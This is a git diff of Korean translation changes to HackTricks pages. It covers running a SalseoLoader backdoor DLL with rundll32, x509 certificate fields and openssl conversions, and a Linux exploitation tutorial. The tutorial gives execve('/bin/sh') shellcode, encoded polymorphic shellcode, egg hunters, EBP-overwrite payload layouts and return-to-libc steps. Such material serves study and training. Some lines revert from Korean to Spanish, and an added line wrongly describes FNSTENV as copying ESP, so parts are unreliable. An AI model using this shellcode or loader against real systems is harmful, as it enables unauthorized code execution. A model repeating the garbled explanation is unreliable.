||||
**x64 플랫폼** 선택 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)
|
||||
**x64 플랫폼**을 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
|
@ -137,7 +139,7 @@ Visual Studio를 **종료**합니다
|
|||
|
||||
### 생성된 Dll 테스트
|
||||
|
||||
DLL을 테스트하려는 위치에 복사하여 붙여넣습니다.
|
||||
Dll을 테스트하려는 위치로 복사하여 붙여넣습니다.
|
||||
|
||||
실행:
|
||||
```
|
||||
|
@ -171,14 +173,14 @@ rundll32.exe SalseoLoader.dll,main
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team 전문가)</strong></a><strong>!</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,33 +6,33 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* 여러분의 해킹 기술을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## 인증서란
|
||||
|
||||
**공개 키 인증서**는 암호학에서 사용되는 디지턀 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이는 키의 세부 정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명을 포함합니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하다면, 키의 소유자와의 안전한 통신이 가능합니다.
|
||||
**공개 키 인증서**는 암호학에서 사용되는 디지턀 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이는 키의 세부 정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명을 포함합니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하다면, 키 소유자와의 안전한 통신이 가능합니다.
|
||||
|
||||
인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI) 설정에서 발급됩니다. 다른 방법은 사용자가 서로 키를 직접 확인하는 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 개별 요구 사항에 맞게 조정할 수 있습니다.
|
||||
인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI) 설정에서 발급됩니다. 다른 방법은 사용자가 서로 키를 직접 확인하는 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 설명된 특정 요구 사항에 맞게 조정할 수 있습니다.
|
||||
|
||||
## x509 공통 필드
|
||||
|
||||
### **x509 인증서의 공통 필드**
|
||||
|
||||
x509 인증서에서 여러 **필드**가 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드들을 살펴보겠습니다:
|
||||
x509 인증서에서 여러 **필드**가 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드를 살펴보겠습니다:
|
||||
|
||||
* **버전 번호**는 x509 형식의 버전을 나타냅니다.
|
||||
* **일련 번호**는 주로 폐지 추적을 위해 인증 기관(CA) 시스템 내에서 인증서를 고유하게 식별합니다.
|
||||
|
@ -41,18 +41,18 @@ x509 인증서에서 여러 **필드**가 인증서의 유효성과 보안을
|
|||
* **국가 (C)**, **지역 (L)**, **주 또는 지방 (ST, S 또는 P)**, **조직 (O)** 및 **조직 단위 (OU)**는 지리적 및 조직적 세부 정보를 제공합니다.
|
||||
* **식별 이름 (DN)**은 전체 주체 식별을 캡슐화합니다.
|
||||
* **발급자**는 인증서를 확인하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
|
||||
* **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되며, 특정 날짜 이전 또는 이후에 인증서가 사용되지 않도록 보장합니다.
|
||||
* **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되어, 특정 날짜 이전 또는 이후에 인증서가 사용되지 않도록 합니다.
|
||||
* 인증서의 보안에 중요한 **공개 키** 섹션은 공개 키의 알고리즘, 크기 및 기술적 세부 정보를 지정합니다.
|
||||
* **x509v3 확장**은 인증서의 기능성을 향상시키며, **키 사용**, **확장 키 사용**, **주체 대체 이름** 및 인증서의 응용 프로그램을 세밀하게 조정하기 위한 기타 속성을 지정합니다.
|
||||
* **x509v3 확장**은 인증서의 기능을 향상시키며, **키 사용**, **확장 키 사용**, **대체 주체 이름** 및 인증서의 응용 프로그램을 세밀하게 조정하기 위한 기타 속성을 지정합니다.
|
||||
|
||||
#### **키 사용 및 확장**
|
||||
|
||||
* **키 사용**은 공개 키의 암호화 응용 프로그램을 식별합니다. 예: 디지털 서명 또는 키 암호화
|
||||
* **확장 키 사용**은 인증서의 사용 사례를 더 세분화합니다. 예: TLS 서버 인증을 위해
|
||||
* **주체 대체 이름** 및 **기본 제약**은 인증서가 적용되는 추가 호스트 이름과 CA 또는 종단 개체 인증서인지 여부를 정의합니다.
|
||||
* **대체 주체 이름** 및 **기본 제약**은 인증서가 적용되는 추가 호스트 이름 및 CA 또는 종단 개체 인증서인지 여부를 정의합니다.
|
||||
* **주체 키 식별자** 및 **발급자 키 식별자**는 키의 고유성과 추적 가능성을 보장합니다.
|
||||
* **발급자 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐지 상태를 확인할 수 있는 경로를 제공합니다.
|
||||
* **CT 사전 인증 SCT**는 인증서에 대한 투명성 로그를 제공하여 인증서에 대한 공개 신뢰를 보장합니다.
|
||||
* **발급자 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐지 상태를 확인하기 위한 경로를 제공합니다.
|
||||
* **CT 사전 인증 SCT**는 인증서에 대한 공개 신뢰에 중요한 투명성 로그를 제공합니다.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -88,7 +88,7 @@ print(f"Public Key: {public_key}")
|
|||
|
||||
#### **인증서 로그**
|
||||
|
||||
인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능한, 추가 전용 인증서 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증거를 제공합니다. 발급 기관과 일반인 모두 이러한 로그에 인증서를 제출하거나 확인을 위해 쿼리를 할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 주로 CA, ISP 또는 관련 당사자에 의해 독립적으로 관리될 수 있습니다.
|
||||
인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능한, 추가 전용 인증서 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증거를 제공합니다. 발급 기관과 일반인 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관련 당사자에 의해 독립적으로 관리될 수 있습니다.
|
||||
|
||||
#### **쿼리**
|
||||
|
||||
|
@ -99,7 +99,7 @@ print(f"Public Key: {public_key}")
|
|||
### **PEM 형식**
|
||||
|
||||
* 인증서에 가장 널리 사용되는 형식입니다.
|
||||
* Base64 ASCII로 인코딩된 인증서 및 개인 키를 위한 별도의 파일이 필요합니다.
|
||||
* 인증서와 개인 키를 별도의 파일로 요구하며 Base64 ASCII로 인코딩됩니다.
|
||||
* 일반적인 확장자: .cer, .crt, .pem, .key.
|
||||
* 주로 Apache 및 유사한 서버에서 사용됩니다.
|
||||
|
||||
|
@ -112,7 +112,7 @@ print(f"Public Key: {public_key}")
|
|||
|
||||
### **P7B/PKCS#7 형식**
|
||||
|
||||
* Base64 ASCII에 저장되며, .p7b 또는 .p7c 확장자를 가집니다.
|
||||
* Base64 ASCII로 저장되며 .p7b 또는 .p7c 확장자가 있습니다.
|
||||
* 개인 키를 제외한 인증서 및 체인 인증서만 포함합니다.
|
||||
* Microsoft Windows 및 Java Tomcat에서 지원됩니다.
|
||||
|
||||
|
@ -130,19 +130,19 @@ print(f"Public Key: {public_key}")
|
|||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
* **PEM을 DER로 변환하기**
|
||||
* **PEM을 DER로 변환**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
* **DER를 PEM으로 변환하기**
|
||||
* **DER를 PEM으로 변환**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
* **PEM을 P7B로 변환**
|
||||
* **PEM을 P7B로 변환하기**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
* **PKCS7를 PEM으로 변환**
|
||||
* **PKCS7를 PEM으로 변환하기**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
|
@ -152,16 +152,20 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
|||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
* **PFX를 PKCS#8로** 변환하는 과정은 두 단계로 이루어집니다:
|
||||
* **PFX를 PKCS#8로 변환**은 두 단계로 이루어집니다:
|
||||
1. PFX를 PEM으로 변환합니다.
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. PEM을 PKCS8로 변환합니다.
|
||||
|
||||
```bash
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private_key.pk8 -nocrypt
|
||||
```
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
* **P7B를 PFX로** 변환하려면 두 개의 명령이 필요합니다:
|
||||
* **P7B를 PFX로 변환**은 두 개의 명령어가 필요합니다:
|
||||
1. P7B를 CER로 변환합니다.
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
|
@ -172,24 +176,24 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
|
|||
```
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>제로부터 히어로까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,55 +1,37 @@
|
|||
# Linux Exploiting (Basic) (기본)
|
||||
# 리눅스 Exploiting (기본) (SPA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## **1. 스택 오버플로우**
|
||||
|
||||
> 버퍼 오버플로우, 버퍼 오버런, 스택 오버런, 스택 스매싱
|
||||
|
||||
Segmentation fault 또는 segment violation: 프로세스에 할당되지 않은 메모리 주소에 액세스하려고 시도할 때 발생합니다.
|
||||
|
||||
프로그램 내의 함수 주소를 얻으려면 다음을 수행할 수 있습니다:
|
||||
```
|
||||
objdump -d ./PROGRAMA | grep FUNCION
|
||||
```
|
||||
## ROP
|
||||
|
||||
### sys\_execve 호출
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **2.SHELLCODE**
|
||||
|
||||
Kernel 인터럽트 확인: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||||
|
||||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||||
exit(0); // \_\_NR\_exit 1
|
||||
|
||||
xor eax, eax ; eax 초기화\
|
||||
xor ebx, ebx ; ebx = 0 (전달할 인수 없음)\
|
||||
xor eax, eax ; limpiamos eax\
|
||||
xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
|
||||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||||
int 0x80 ; 시스템 콜 실행
|
||||
int 0x80 ; Ejecutar syscall
|
||||
|
||||
**nasm -f elf assembly.asm** —> .o 파일 생성\
|
||||
**ld assembly.o -o shellcodeout** —> 어셈블리 코드로 이루어진 실행 파일 생성 및 **objdump**로 옵코드 추출\
|
||||
**objdump -d -Mintel ./shellcodeout** —> 쉘코드 및 옵코드 확인
|
||||
**nasm -f elf assembly.asm** —> Nos devuelve un .o\
|
||||
**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
|
||||
|
||||
**쉘코드가 작동하는지 확인**
|
||||
**Comprobar que la shellcode funciona**
|
||||
```
|
||||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||||
|
||||
|
@ -61,7 +43,7 @@ fp();
|
|||
```
|
||||
시스템 호출이 올바르게 이루어졌는지 확인하려면 이전 프로그램을 컴파일하고 시스템 호출이 **strace ./COMPILADO_프로그램**에 나타나야 합니다.
|
||||
|
||||
쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이동하는 점프입니다. call은 원래 코드를 호출하고 EIP를 스택에 넣습니다. call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있으며 코드 실행을 계속할 수 있습니다.
|
||||
쉘코드를 작성할 때 한 가지 트릭을 사용할 수 있습니다. 첫 번째 명령은 call로 이어지는 점프입니다. Call은 원래 코드를 호출하고 EIP를 스택에 넣습니다. Call 명령 다음에 필요한 문자열을 넣었으므로 해당 EIP로 문자열을 가리킬 수 있으며 코드 실행을 계속할 수 있습니다.
|
||||
|
||||
예: **트릭 (/bin/sh)**:
|
||||
```
|
||||
|
@ -83,7 +65,7 @@ int $0x80 ; exit(0)
|
|||
call -0x24 ; Salto a la primera instrución
|
||||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||||
```
|
||||
**/bin/sh를 사용한 EJ(Egg Jump) :**
|
||||
**/bin/sh를 사용한 EJ:**
|
||||
```
|
||||
section .text
|
||||
global _start
|
||||
|
@ -104,7 +86,8 @@ mov ecx, esp ; arg2 = args[]
|
|||
mov al, 0x0b ; Syscall 11
|
||||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||||
```
|
||||
**EJ FNSTENV:**
|
||||
**EJ FNSTENV:**
|
||||
EJ FNSTENV는 ESP 레지스터를 복사하고, 현재 스택 포인터를 저장하는 명령어입니다.
|
||||
```
|
||||
fabs
|
||||
fnstenv [esp-0x0c]
|
||||
|
@ -113,11 +96,11 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs
|
|||
```
|
||||
**Egg Hunter:**
|
||||
|
||||
프로세스와 관련된 메모리 페이지를 탐색하여 거기에 저장된 셸코드를 찾는 작은 코드입니다 (셸코드에 넣은 서명을 찾습니다). 코드를 삽입할 작은 공간만 있는 경우 유용합니다.
|
||||
프로세스와 관련된 메모리 페이지를 탐색하여 거기에 저장된 셸코드를 찾는 작은 코드입니다 (셸코드에 넣은 특정 서명을 찾습니다). 코드를 주입할 공간이 매우 작은 경우 유용합니다.
|
||||
|
||||
**다형 셸코드**
|
||||
|
||||
암호화된 셸로, 해독하고 해당 위치로 점프하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하는 **시저 암호화 예제**가 있습니다:
|
||||
암호화된 셸로, 해독하고 해당 위치로 점프하는 작은 코드가 포함되어 있습니다. Call-Pop 트릭을 사용하는 **시저 암호화된 예제**가 있습니다:
|
||||
```
|
||||
global _start
|
||||
_start:
|
||||
|
@ -136,117 +119,39 @@ call init
|
|||
sc:
|
||||
;Aquí va el shellcode
|
||||
```
|
||||
1. **프레임 포인터 (EBP) 공격**
|
||||
|
||||
EBP를 수정할 수 있지만 EIP는 수정할 수 없는 상황에서 유용합니다.
|
||||
|
||||
함수를 빠져나올 때 다음 어셈블리 코드가 실행된다는 것이 알려져 있습니다:
|
||||
```
|
||||
movl %ebp, %esp
|
||||
popl %ebp
|
||||
ret
|
||||
```
|
||||
이렇게 하면 다른 함수에 의해 호출된 함수(fvuln)를 빠져나올 때 EBP를 수정할 수 있습니다. 따라서 fvuln에서 셸코드의 주소 + 4가 가리키는 가짜 EBP를 입력할 수 있습니다(팝을 위해 4를 더해야 함). 이렇게 하면 함수를 빠져나올 때 ESP에 &(\&Shellcode)+4의 값이 들어가며, 팝으로 ESP에서 4를 빼면 ret가 실행될 때 셸코드의 주소를 가리킵니다.
|
||||
|
||||
**Exploit:**\
|
||||
\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4
|
||||
|
||||
**Off-by-One Exploit**\
|
||||
EBP의 가장 낮은 바이트만 수정할 수 있습니다. 이전과 같은 공격을 수행할 수 있지만 셸코드 주소를 저장하는 메모리는 처음 3바이트를 EBP와 공유해야 합니다.
|
||||
|
||||
## **4. Return to Libc 메서드**
|
||||
|
||||
스택이 실행 불가능하거나 수정할 공간이 매우 작을 때 유용한 방법입니다.
|
||||
|
||||
ASLR은 각 실행마다 함수가 메모리의 다른 위치에 로드되도록 합니다. 따라서 이 방법은 해당 경우에 효과적이지 않을 수 있습니다. 원격 서버의 경우, 프로그램이 항상 동일한 주소에서 실행되므로 유용할 수 있습니다.
|
||||
|
||||
* **cdecl(C declaration)** : 인수를 스택에 넣고 함수를 빠져나올 때 스택을 정리합니다.
|
||||
* **stdcall(standard call)** : 인수를 스택에 넣고 호출된 함수가 스택을 정리합니다.
|
||||
* **fastcall** : 처음 두 인수를 레지스터에 넣고 나머지를 스택에 넣습니다.
|
||||
|
||||
libc의 system 명령어의 주소를 넣고 " /bin/sh" 문자열을 인수로 전달합니다. 또한, 더 이상 셸이 필요하지 않을 때 프로그램을 종료하고 로그를 작성하지 않도록 exit 함수의 주소를 사용합니다.
|
||||
|
||||
**export SHELL=/bin/sh**
|
||||
|
||||
필요한 주소를 찾기 위해 다음을 확인할 수 있습니다. **GDB:**\
|
||||
**p system**\
|
||||
**p exit**\
|
||||
**rabin2 -i executable** —> 프로그램이 로드될 때 사용하는 모든 함수의 주소를 제공합니다.\
|
||||
(시작 또는 중단점 내부): **x/500s $esp** —> 여기에서 /bin/sh 문자열을 찾습니다.
|
||||
|
||||
이러한 주소를 얻으면 **exploit**은 다음과 같이 됩니다:
|
||||
|
||||
“A” \* EBP까지의 거리 + 4 (EBP: 4 "A"일 수 있지만 세그멘테이션 오류를 피하기 위해 실제 EBP가 더 좋습니다) + **system** 주소 (EIP를 덮을 것) + **exit** 주소 (system(" /bin/sh")를 빠져나올 때 이 함수가 호출됩니다. 스택의 처음 4바이트는 실행할 다음 EIP 주소로 처리됩니다) + "**/bin/sh**" 주소 (system에 전달될 매개변수가 될 것)
|
||||
|
||||
이렇게 하면 EIP가 system 주소로 덮여지며, 이 주소는 " /bin/sh" 문자열을 매개변수로 받아들이고 이를 실행한 후 exit() 함수를 실행합니다.
|
||||
|
||||
어떤 함수의 주소 중 일부 바이트가 널 또는 공백(\x20)일 수 있습니다. 이 경우 해당 함수 이전 주소를 분해하여 직접 함수 대신 NOP 중 하나를 호출할 수 있습니다(예: > x/8i system-4).
|
||||
|
||||
이 방법은 system과 같은 함수를 호출할 때 **call** 대신 **ret** 옵코드를 사용하면 함수가 처음 4바이트를 돌아갈 EIP 주소로 이해하기 때문에 작동합니다.
|
||||
|
||||
이 방법의 흥미로운 기술 중 하나는 **strncpy()**를 호출하여 스택에서 페이로드를 힙으로 이동시키고 나중에 **gets()**를 사용하여 해당 페이로드를 실행하는 것입니다.
|
||||
|
||||
